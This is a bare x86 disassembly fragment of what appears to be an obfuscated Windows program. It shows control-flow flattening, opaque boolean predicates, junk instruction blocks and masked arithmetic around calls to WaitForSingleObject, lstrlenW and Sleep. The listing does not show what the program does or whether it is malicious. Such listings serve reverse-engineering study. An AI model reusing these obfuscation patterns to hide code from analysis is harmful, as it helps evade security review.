mov cl, 1
xor cl, 1
mov ch, al
and ch, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov dh, ch
and dh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, dh
or al, dl
xor cl, al
mov dl, 1
xor dl, 1
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or cl, bl
or al, dh
xor cl, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov dh, 1
xor dh, 1
and dh, 1
mov al, 1
xor al, 1
and al, 1
or dh, al
mov bl, 1
xor bl, 1
mov al, dh
xor al, bl
and al, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, dl
and dh, ch
xor dl, ch
or dh, dl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1c64f], ch
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
and al, dl
mov bh, bl
and bh, 0xff
and cl, dl
or ch, al
mov al, byte [ebp - 0x1c64f]
or bh, cl
mov cl, byte [ebp - 0x1c64e]
xor ch, bh
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or al, dh
or dl, ch
xor al, dl
mov byte [ebp - 0x1c64b], al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or bl, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov al, 1
xor al, 0
mov bh, dl
xor bh, al
and bh, dl
mov al, ch
xor al, 0xff
xor al, 0
and al, 0
mov byte [ebp - 0x1c64d], al
mov dh, 1
xor dh, 0
mov al, bl
xor al, dh
and al, bl
mov byte [ebp - 0x1c64c], al
xor cl, 0xff
mov al, ch
xor al, 0xff
mov dh, 1
xor dh, 0
or cl, al
mov al, byte [ebp - 0x1c64d]
or dh, 0
xor cl, 0xff
and cl, dh
mov dh, bh
and dh, al
xor bh, al
mov al, byte [ebp - 0x1c64c]
or dh, bh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, dh
xor cl, 0xff
mov al, bh
and al, cl
mov cl, byte [ebp - 0x1c64b]
xor bh, 0xff
and dh, bh
or al, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
or dl, dh
mov dh, ch
and dh, 0
xor ch, 0
or dh, ch
xor dl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and dh, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or ch, dh
or al, dl
xor ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
mov dh, cl
and dh, bl
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bl
or al, dh
or dl, ch
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ah
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, dh
or al, ch
xor cl, al
mov byte [ebp - 0x1c648], cl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov al, dl
and al, ch
or dh, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov ch, 1
xor ch, 0
mov al, cl
xor al, ch
and al, cl
mov ch, bh
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov ah, dh
xor ah, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 0
or ah, bl
or ch, 0
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x1c646], ah
mov ah, bh
xor ah, 0xff
mov ch, dl
xor ch, ah
and ch, dl
mov dl, al
xor dl, 0xff
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0x1c647], ah
mov bl, 1
xor bl, 0
mov ah, dl
and ah, 0
and al, bl
mov byte [ebp - 0x1c64a], al
mov al, byte [ebp - 0x1c647]
and al, 0
mov byte [ebp - 0x1c649], al
mov al, byte [ebp - 0x1c64a]
and cl, bl
or ah, al
mov al, byte [ebp - 0x1c649]
or al, cl
mov cl, byte [ebp - 0x1c648]
xor ah, al
mov al, byte [ebp - 0x1c647]
or dl, al
mov al, byte [ebp - 0x1c646]
xor dl, 0xff
or bl, 0
and dl, bl
or ah, dl
mov dl, al
and dl, ch
xor al, ch
or dl, al
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov al, dl
xor al, 0xff
and al, 0
and dl, ch
or bl, ah
or al, dl
xor bl, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x1c645], al
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
and al, 0xff
and cl, dl
mov ch, ah
and ch, 0xff
and dh, dl
or al, cl
mov cl, byte [ebp - 0x1c645]
or ch, dh
xor al, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1c644], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov ch, ah
and ch, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x1c644]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x85e17cab
mov ecx, 0x8fd8ebba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0xb8d42c13
jmp 0x4b3015
mov eax, dword [ebp - 0x1b71c]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
inc esi
not eax
not edi
mov ebx, 0x63
dec esi
dec ebx
sub edi, 0x46
and edi, 0x21
mov esi, 0xbb
rcr ebx, 0xca
and esi, 0xbe
imul eax
imul eax
rcr edx, 0x17
imul ebx
neg edx
sub edi, 0xd9
dec edi
add esi, 0xc3
bswap esi
dec esi
dec eax
not esi
rcr ebx, 0xf8
neg ebx
neg edx
neg ebx
or eax, 0x19
inc edi
neg edx
rcr ebx, 0x19
rol esi, 0x77
rcr ebx, 0x38
dec esi
add esi, 6
not edx
rcl edx, 0x93
inc edx
imul ebx
inc eax
imul esi
neg edi
sbb eax, 0xb6
mov esi, 0xb7
sub edi, 0x96
not edx
inc eax
inc edx
imul ebx
not esi
ror esi, 0x60
ror edx, 0x61
sbb eax, 0x5e
imul edi
sbb esi, 0xc9
imul edi
rcl ebx, 0xe9
dec edx
not edx
ror edx, 0x9e
sbb eax, 0xd6
inc edi
mov edi, 0xf9
imul edx
mov esi, 0xa2
add edx, 0x4b
inc ebx
bswap edx
mov ebx, 0x3f
rcr edx, 0x17
not ebx
imul eax
dec eax
not esi
neg esi
ror edi, 0x8e
bswap esi
neg edx
ror edi, 0x75
dec eax
inc edi
dec eax
bswap eax
not edi
ror eax, 0xd2
sub eax, 8
or ebx, 0x9e
rcr edi, 0xfd
not ebx
not edx
imul edi
sbb ebx, 0x81
inc edx
and edi, 0x14
or esi, 0x29
imul edi
inc edx
dec esi
rcr eax, 0x1b
inc esi
rcl ebx, 0xb6
not edi
mov edx, 0xa0
and edi, 0x4b
rcr edx, 0xc8
and edi, 0x40
sub edi, 0xf1
dec eax
not ebx
or ebx, 0x72
not edx
mov edi, 0xee
not edx
imul ebx
inc eax
sub ebx, 0xe
bswap edi
mov edi, 0x9d
and edi, 0x6d
rcr ebx, 0x51
imul edi
dec eax
bswap edx
sbb edx, 0x28
not ebx
rol esi, 0xbe
rol ebx, 0x36
or esi, 0x4c
mov eax, 0x6e
rcl edi, 0x6c
ror ebx, 0x4c
add esi, 0x2c
mov edi, 0x78
rol ebx, 0xeb
add edx, 0xde
rol esi, 0x80
ror edi, 0x6e
bswap edx
rcl eax, 0xa2
or edx, 0xe
bswap eax
and esi, 0x4a
or edi, 0x98
ror esi, 0x3a
and ebx, 0xd7
not esi
imul ebx
rcr esi, 0x71
imul eax
neg edi
mov dword [ebp - 0x1b628], eax
mov dword [ebp - 0x1b7b0], 0xcddba47b
jmp 0x4b3015
mov eax, dword [ebp - 0x1b794]
mov dword [ebp - 0x1b7b0], 0xccb67cbd
jmp 0x4b3015
mov eax, dword [ebp - 0x1b794]
mov eax, dword [ebp - 0x1b78c]
mov eax, dword [ebp - 0x1b788]
mov eax, dword [ebp - 0x1b78c]
mov eax, dword [ebp - 0x1b788]
mov dword [ebp - 0x1b7b0], 0xd43408ba
jmp 0x4b3015
mov eax, dword [ebp - 0x1b788]
mov ecx, dword [ebp - 0x1b6dc]
mov dword [eax], ecx
mov dword [ebp - 0x1b7b0], 0xbf388131
jmp 0x4b3015
mov eax, dword [ebp - 0x1b6c4]
mov eax, dword [ebp - 0x1b6c4]
mov eax, dword [ebp - 0x1b6c4]
mov eax, dword [ebp - 0x1b6c4]
mov eax, dword [ebp - 0x1b6c4]
mov eax, dword [ebp - 0x1b6c4]
mov eax, dword [ebp - 0x1b6c4]
mov dword [ebp - 0x1b7b0], 0x1bac2a8e
jmp 0x4b3015
mov eax, dword [ebp - 0x1b690]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
mov eax, dword [ebp - 0x1b694]
xor ecx, ecx
sub ecx, eax
add ecx, 0
xor eax, eax
sub eax, 0x830717b9
add eax, ecx
add eax, 0x830717b9
xor ecx, ecx
sub ecx, 0x1c663434
sub ecx, edx
add ecx, 0x1c663434
xor edx, edx
sub edx, 0x3611a75e
add edx, ecx
add edx, 0x3611a75e
sub eax, 0x365b0b48
add eax, 0x2a505d08
add eax, 0x365b0b48
xor ecx, ecx
sub ecx, edx
sub eax, ecx
add eax, 0x601b3fa7
sub eax, 0x2a505d08
sub eax, 0x601b3fa7
mov edx, 0x649f8a7e
add edx, 0
sub edx, eax
sub edx, 0x649f8a7e
xor eax, eax
sub eax, 0
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x1b758]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b754]
mov dword [eax], 0
mov dword [ebp - 0x1b7b0], 0xeb68fdf5
jmp 0x4b3015
not ebx
sbb ebx, 0xad
neg eax
dec edx
ror edi, 0x4f
not eax
add edx, 0x20
not ebx
rol edi, 0xbc
rcr eax, 0xe1
dec eax
ror eax, 0x69
or ebx, 0x5d
or edx, 0xfc
neg eax
bswap edi
and ebx, 0x9d
ror edx, 0xc
dec edx
and eax, 0xb4
neg edx
bswap esi
imul edx
not eax
not esi
bswap edx
mov ebx, 0xc5
sub eax, 0x43
and esi, 0x17
rcl eax, 0xfc
inc edi
neg eax
rcl esi, 0xd6
inc edx
not edi
neg eax
dec eax
bswap edx
rol edi, 0x30
inc ebx
inc edx
dec ebx
ror eax, 0xb0
or esi, 0x11
add edi, 0xba
neg edi
rcl eax, 0x6a
bswap esi
neg ebx
sub ebx, 0xbc
neg eax
sub eax, 0x6b
imul esi
neg edx
dec eax
dec eax
or edx, 0x2a
bswap ebx
or edx, 0xc8
mov edi, 0x9d
mov edi, 0xbd
sbb eax, 0xa6
not ebx
add esi, 0x76
rcr edx, 0x36
or esi, 0xe9
sbb esi, 0xff
and ebx, 0x84
rcl ebx, 0xb9
ror ebx, 0x5e
bswap edx
sbb esi, 0x22
or eax, 0xf3
neg edx
rcr edi, 0xa
add esi, 0xc1
inc esi
rcl eax, 0xdc
neg ebx
imul edi
not edi
inc eax
add esi, 0x16
inc edi
sbb edx, 0x2d
bswap edx
not ebx
neg eax
bswap ebx
not ebx
imul eax
imul eax
dec ebx
not ebx
not esi
sbb esi, 0x65
neg edi
mov ebx, 0x5c
rcr eax, 0xf1
sub eax, 0x49
sub ebx, 0xe0
inc ebx
inc ebx
sub esi, 0x5c
not edi
neg edx
rol ebx, 0xd9
mov edi, 0xc
rcl edi, 0x91
bswap edx
bswap edx
rol edi, 0xfc
inc edx
rcr edi, 0x3d
rcr esi, 0xd9
add edi, 0x28
add edi, 0xd8
imul esi
sbb edx, 0xc
rol edi, 0x2c
bswap eax
sub edx, 0xb2
inc edx
sub edi, 0x96
ror edi, 0x8e
not eax
ror eax, 0x67
imul edi
add ebx, 0x9c
dec edx
inc esi
rcr edi, 0x62
not eax
inc eax
mov eax, 0xd1
bswap edx
ror esi, 0xdf
dec edx
and esi, 0xf4
inc ebx
dec edi
mov esi, 0x2b
or ebx, 0x42
inc edi
and esi, 0xff
ror ebx, 0xb4
sbb ebx, 0x38
bswap esi
not ebx
sbb edi, 0x74
mov dword [ebp - 0x1b7a0], eax
mov dword [ebp - 0x1b7b0], 0x30b12435
jmp 0x4b3015
mov dword [ebp - 0x1b7b0], 0x32e0998d
jmp 0x4b3015
mov eax, dword [ebp - 0x1b654]
mov dword [ebp - 0x1b7b0], 0x506a7f85
jmp 0x4b3015
mov eax, dword [ebp - 0x1b740]
mov dword [eax], 4
mov dword [ebp - 0x1b7b0], 0xe1d881a3
jmp 0x4b3015
mov eax, dword [ebp - 0x1b634]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x1b72c]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x1b7b0], 0xb5cc2621
jmp 0x4b3015
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1b7b0], 0xc25f1b3a
jmp 0x4b3015
mov eax, dword [ebp - 0x1b72c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b720]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x1b7b0], 0x9489e374
jmp 0x4b3015
jmp 0x47fc3d